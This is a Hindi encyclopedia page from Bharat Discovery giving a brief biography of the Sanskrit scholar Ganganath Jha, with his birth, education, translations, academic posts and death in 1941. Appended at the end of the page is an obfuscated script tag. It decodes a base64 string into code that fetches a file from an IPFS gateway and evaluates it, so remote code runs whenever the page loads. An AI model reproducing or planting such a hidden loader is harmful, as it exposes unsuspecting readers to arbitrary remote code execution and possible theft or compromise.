गंगानाथ झा

भारत डिस्कवरी प्रस्तुति
रविन्द्र प्रसाद (चर्चा | योगदान) द्वारा परिवर्तित 06:29, 21 मई 2011 का अवतरण ('*महामहोपाध्याय पंडित '''गंगानाथ झा''' संस्कृत भाषा के...' के साथ नया पन्ना बनाया)
(अंतर) ← पुराना अवतरण | वर्तमान अवतरण (अंतर) | नया अवतरण → (अंतर)
यहाँ जाएँ:भ्रमण, खोजें
  • महामहोपाध्याय पंडित गंगानाथ झा संस्कृत भाषा के प्रकाण्ड पंडित थे।
  • आपने हिन्दी, अंग्रेज़ी और मैथिली भाषा में दार्शनिक विषयों पर उच्च कोटि के मौलिक ग्रन्थों की रचना की है।
  • इनका सबसे बड़ा योगदान संस्कृत के महत्वपूर्ण प्राचीन ग्रन्थों का अंग्रेज़ी भाषा में अनुवाद कार्य रहा है।
  • इनके इस महत्वपूर्ण कार्य से भारत के प्राचीन ज्ञान से पश्चिम के विद्वानों को परिचित होने का अवसर मिला।
  • गंगानाथ झा का जन्म मिथिला (बिहार) के एक गाँव में 1871 ई. में हुआ था।
  • संस्कृत की उच्च शिक्षा इन्होंने काशी के दो प्रसिद्ध विद्वानों से ग्रहण की थी।
  • इन्होंने काशी के ही क्वीन्स कॉलेज से पाश्चात्य प्रणाली की शिक्षा भी ग्रहण की थी।
  • 18 वर्ष की उम्र में ही संस्कृत में एक पद्यात्मक ग्रन्थ लिखकर आपने अपनी प्रतिभा प्रदर्शित कर दी थी।
  • ‘पूर्व मीमांसा के प्रभाकरमत’ पर शोध प्रबन्ध लिखकर इलाहाबाद विश्वविद्यालय में संस्कृत का अध्यापन कार्य किया और फिर बनारस संस्कृत कॉलेज के प्रिंसिपल बने।
  • 1923 में आपको इलाहाबाद विश्वविद्यालय का वाइस-चांसलर बनाया गया, यहाँ पर यह 1932 तक इस पद पर रहे।
  • कुछ समय के लिए आप प्रान्तीय लेजिस्लेटिव कौंसिल के सदस्य भी मनोनीत किए गए थे।
  • आपने 'हिन्दी साहित्य सम्मेलन' का सभापतित्व भी किया था।
  • 17 नवम्बर, 1941 को आपका देहान्त हो गया।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

शर्मा, लीलाधर भारतीय चरित कोश (हिन्दी)। भारत डिस्कवरी पुस्तकालय: शिक्षा भारती, दिल्ली, पृष्ठ 212।

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>